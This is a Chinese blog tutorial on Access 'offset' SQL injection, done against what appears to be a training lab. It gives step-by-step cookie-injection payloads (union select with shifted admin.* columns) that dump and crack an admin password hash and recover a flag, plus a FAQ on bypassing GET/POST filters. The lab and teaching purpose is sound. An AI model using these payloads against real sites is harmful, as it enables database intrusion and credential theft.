MENU

安全学习-06-Access-偏移注入

September 15, 2021 • 网络安全

Access-偏移注入

基础知识

在进行SQL注入中,我们或者数据的方式基本都是 :

获取数据库名 ==》 获取表名 ==》 获取字段名 ==》 获取数据

偏移注入.png


如果中间哪个环节出现了问题,无法获取到,还能否得到最终需要的数据呢?

select * from admin;
select admin.* from admin;
-- 这两条SQL存在区别吗?

select 1,* from admin;
select 1,admin.* from admin;
-- 这两条呢?

1.png

2.png

3.png

4.png

通过上面的测试,发现了什么没有,我们前面做了很多的注入,都是通过得到他的字段名,将该字段放置到回显的位置,使其输出,那么我们可以不知道字段名,直接尝试将想要的字段位置放置到回显点吗?

select * from new union select 1,2,3,4,5,admin.* from admin;

通过这个SQL,有没有发现最关键点在于哪,由于我们不知道后面表的字段数,那么我们希望的绝对是前面news的字段数足够的多,远远大于admin的字段数,且admin的字段数绝对不能大于news表,否则将导致union查询报错,如果条件都满足那么我们是不是就可以通过不断将 admin.* 不断移动,使得回显点在admin的字段间不断转移,从而确定出我们需要的字段,从而获取该数据库。


偏移注入 == 移位溢注

无非就将我们需要输出的字段不断移位,从而得到该字段数据!


手工注入

1. 寻找注入页面;

-- 注入页面
http://59.63.200.79:8004/ProductShow.asp?ID=105

-- 因为前面得到过该站点存在cookie注入,删除GET中的id,使用cookie
http://59.63.200.79:8004/ProductShow.asp
document.cookie='ID='+escape("105 order by 20")

5.png


2. 获取字段数;

-- 不断尝试得出最终字段数
http://59.63.200.79:8004/ProductShow.asp
document.cookie='ID='+escape("105 order by 20")

document.cookie='ID='+escape("105 order by 20")

document.cookie='ID='+escape("105 order by 20")

6.png

当order by 30 时出现错误,说明字段在20~30之间,继续尝试!

7.png

最终得到该产品展示的表共26个字段,这样的字段多的表,正好满足我们前面讲到的字段足够长,好操作,好移位!


3. 寻找回显点;

http://59.63.200.79:8004/ProductShow.asp

document.cookie='ID='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26")

8.png

为什么报错呢,不是字段数明明是26个吗?

认真思考,该数据库是Access,必须把SQL写全,加上from 表名才行!

document.cookie='ID='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")

9.png

输出点来了,3,5,7,我们再确认一下给数值改大点确认下3,13,23,5,15,25,7,17,到底是这里面的哪几个呢?

10.png

回显咋又没了呢???

联合查询union前面没有给报错,后面给的数值太大了,导致105的数据又正常了,那明显对面取得是结果得第一行,那么我们给前面得查询报错,始终显示后面的注入回显!

document.cookie='ID='+escape("105 and 1=2 union select 19999,29999,39999,49999,59999,69999,79999,89999,99999,109999,119999,129999,139999,149999,159999,169999,179999,189999,199999,209999,219999,229999,239999,249999,259999,269999 from admin")

11.png

12.png

不仅确认了3个输出点,而且还通过查看源码正常能显示的图片,通过注入无法显示的图片,发现25的字段也是一个回显点。

-- 结果回显点
3,5,7,25

4. 嵌入得到的表名admin,进行尝试得到admin字段数;

从1个字段开始不断删,测出admin的字段数。

document.cookie='ID='+escape("105 and 1=2 union select 1999,29999,39999,49999,59999,69999,79999,8999,99999,109999,119999,129999,139999,149999,159999,169999,179999,189999,189999,209999,219999,229999,239999,249999,259999,admin.* from admin")

13.png

14.png

-- 最终得到admin表字段数,16个

5. 将admin字段嵌入回显点获取数据;

document.cookie='ID='+escape("105 and 1=2 union select 1999,29999,admin.*,199999,209999,219999,229999,239999,249999,259999,269999 from admin")

15.png

admin16个字段,包含个3,5,7 共3个回显点,在这里发现:

3字段 == admin的第一个字段 ==> 1
5字段 == admin的第三个字段 ==> b9a2a2b5dffb918c
7字段 == admin的第五个字段 ==> 115.171.171.181

3字段应该是ID字段;

5字段比较像MD5加密后的密码,我们通过MD5解密尝试一下;

7字段则明显是IP。

16.png

经过解密发现5字段确实是MD5加密后的密码!

-- 密码: welcome

现在密码得到了,再往前位移一位,把用户名得的出来!

document.cookie='ID='+escape("105 and 1=2 union select 1999,admin.*,189999,199999,209999,219999,229999,239999,249999,259999,269999 from admin")

17.png


6. 最终结果

admin

12345678910111213141516-flag
1adminb9a2a2b5dffb918c1115.171.171.1812020-12-1 0:21:222003-9-25 23:13:38 zkaq{f0e12dafb6}
user: admin
password: welcome

总结

对于一些或者字段名复杂的情况下,我们可能不知道字段名的情况下也可以得到注入点,从而得到我们想要的数据!

注意要点

  • 表名必须获取到,不管是爆破还是怎么得到,表名必须得有,否则完全不知道数据在哪,我在哪我要干啥;
  • 偏移注入,前面的表的字段一定要比后面不知道字段的表的字段数长,否则会导致union查询报错!
  • 如果存在必须输入GET/POST的情况,但是只有在Cookie下注入才不会过滤的情况,可以考虑尝试或者3个数据的优先级;
  • js设置cookie命令 document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")

偏移注入常见问题

1.    Access偏移注入使用场景
一些无法查询的列名,比如权限不足的知道表名却不知道字段 使用偏移查询主要查询字段及内容等

2.    偏移注入是否仅用于Access
不是,mysql也可以使用偏移注入。

3.    为什么可以cookie注入
因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参

4.    为什么cookie注入可以绕过验证
因为早期网站防护只检测GET和POST传参,没有检测COOKIE

5.    Cookie注入常见吗?
老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参

6.    COOKIE注入时为什么要删除URL内的id传参
因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参

7.    .*的作用
用于代替表内全部字段,在不能用系统自带库查字段名时

8.    与正则表达式中的*有什么不同
正则中的*代表匹配前面的0或无数次,而这里的*指定表中所有的字段,admin.*是指admin表中所有的字段

9.    偏移注释时联合查询后的一张表为什么要小于前一张表
联合查询必须要满足一个条件,就是前面的查询和后面的查询字段数必须相等,因为前面那张表的查询字段数是固定的,后面那张我们控制,但是当你使用admin.* 代表admin整个表的字段,如果admin表字段比前面那个表多,就不符合联合查询


10.    为什么flag的输出点会在图片里出现
数据库里面他保存了图片的链接地址,然后拼凑到了页面上

11.    为什么没用到information_schema
access数据库里没有系统自带表,只能猜

12.    前面的sql应该报错而不显示
虽然不显示但还是占了输出位,只显示了正确的

13.    能查到所有数据吗
看具体环境,有的时候正好能全部查出,有的时候只能查出部分

14.    union 联合查询前为什么要加and 1=2
因为显示的时候有时只能返回第一行的数据,加上and 1=2后使前面的语句报错,前一行就没用输出了,从而显示后一条语句

15.    为什么偏移注入要用1,2,admin.*呢
因为我们不知道这个表中的具体字段名,xxx.*代表所有字段,把表二所有字段字段都显示出来,然后再来找那个具体的字段

16.    能不能直接写*
不能,直接写*的话不知道你这个代表了是那个表

17.    xxx.*可以代表任意字段及数量吗
代表XXX表的所有字段

18.    那么可以用select * from代替select 1,admin.*吗?
不能,直接加*的情况下,我们无法控制Union后的字段输出个数,union是在两个表的字段数要相同的情况下才可以成立的,否则联合查询不能执行

19.    不能查information_schema怎么得知表名
可以靠爆破和尝试一些常用表名(例如:news、admin、user)

20.    整个SQL语句都能操控吗
不能,我们只能在原有的select查询的基础上加上联合查询的语句,我们不能控制他之前的查询

21.    admin.* 代表一个任意字段?
admin.*代表了所有字段

22.    and exist(select * from admin) 类似的盲注的语句能否使用
这里主要是涉及偏移注入,那一条的确是access的盲注语句,但在现在的情况下并不适用,因为你不知道字段名,无法盲注

23.    为什么access数据库union 联合查询在查字段后要加 from
因为access数据库在报显示位是要确定一个表名

24.    admin是当前表吗
不是,只是指定了admin表